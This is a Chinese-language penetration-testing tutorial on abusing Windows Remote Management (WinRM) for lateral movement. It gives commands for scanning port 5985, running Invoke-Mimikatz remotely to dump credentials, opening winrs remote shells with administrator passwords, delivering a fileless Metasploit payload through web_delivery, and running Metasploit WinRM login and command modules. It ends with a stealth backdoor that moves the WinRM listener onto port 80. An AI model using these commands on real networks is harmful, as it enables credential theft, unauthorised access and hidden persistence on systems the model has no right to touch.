WinRM 用于Windows远程管理,他允许管理员远程执行系统命令。通过HTTP(5985) 或 HTTPS SOAP(5986)进行执行,支持Kerberos以及NTLM身份验证以及基本身份验证。使用此服务需要管理员票据。
假设我们已经获得一台内网服务器的管理员权限(对端服务器允许此用户登陆即可),并且开启了WinRM管理服务器,那么我们可以利用凭证进行内网横向移动
开放端口5985的主机运行WInRM服务,可利用端口扫描工具进行探测确认。
1 | nmap -sS -sV --open -p5985 10.10.10.10-12 |
如果此时端口5985打开但端口5986已经被关闭,此时WinRM服务配置为仅接受HTTP连接,并加密
利用Poershell Invoke-Command 可通过WinRM服务执行命令。
同时我们还可利用 WinRM 远程执行Mimikatz来导出内存中的票据,无需将Mimikatz放入目标机器中执行。
此处使用Mimikatz导出票据,前提条件是你已获得管理员权限,否则将会导出失败。
1 | Import-Module ./Invoke-Mimikatz.ps1 |
利用导出的凭证,继续横向渗透。
对于不运行 WinRM 的系统,可以利用Powershell命令进行启用配置。
1 | Enable-PSRemoting -Force |
默认情况下,可能无法通过 WinRM 连接到另一个系统, 并且可能需要额外的配置。 以下配置可能帮助我们解决配置错误问题。
1 | Winrm quickconfig |
WinRs
WinRS 是一个命令行工具,它是Windows 2008及更高版本的一部分。如果启用了WinRM,此实用程序可用于远程执行主机上的命令。在CMD参数上可建立一个新的远程cmd会话。
1 | winrs -r:http://10.10.10.12:5985 -u:administrator -p:xxxxx "cmd" |
也可对其远程执行命令而非一个cmd会话,以便对目标远程探测
1 | winrs -r:http://10.10.10.12:5985 -u:administrator -p:xxxxx "net localgroup administrators" |
也可利用msf 的 web_delivery模块远程无文件上线msf。此模块将生成一个将在本地托管的有效载荷,并将生成需要在目标上执行的powershell命令。
1 | use multi/script/web_delivery |
利用winrs远程执行:
元破解
MSF 有几个模块,可用于发现开启了WinRM服务的主机、发现凭证以进行服务身份验证以及执行任意命令和代码。以下模块可以发现启用了WinRM 服务的系统机器支持的身份验证协议。
探测WinRM验证方式
1 | auxiliary/scanner/winrm/winrm_auth_methods |
探测票据有效性
如果已经获得服务器上的缓存票据,则这些票据可用于通过WinRM服务与其他主机进行身份验证。以下模块可检测票据是否对其他主机有效。
1 | auxiliary/scanner/winrm/winrm_login |
利用票据执行命令
通过WinRM 服务执行任意命令。此模块需要本地管理员凭据、域和目标主机。
此处未能成功执行。
1 | auxiliary/scanner/winrm/winrm_cmd |
也可利用WinRM和以下模块执行命令。该模块需要本地管理员凭证和代码将执行的主机列表。此模块可用于横向移动到域内主机。
1 | exploit/windows/winrm/winrm_script_exec |
其他利用手段
1.开启3389远程桌面控制
若开启了WinRM,可利用PeekABoo工具或直接对注册表操作开启3389端口
2.端口复用做后门
将WInRM监听端口由5985改为80或443等常用端口,及时端口被Web服务占用也不会影响,并且不会影响web服务的执行:
(1)配置目标WinRM服务,更改监听端口开启复用模式
1 | winrm set winrm/config/Listener?Address=*+Transport=HTTP @{Port="80"} |
(2)链接目标
1 | winrs -r:http://192.168.1.152 -u:administrator -p:xxxx cmd |
此方法适用于存在web服务的主机,并不会再开启新端口,较为隐蔽。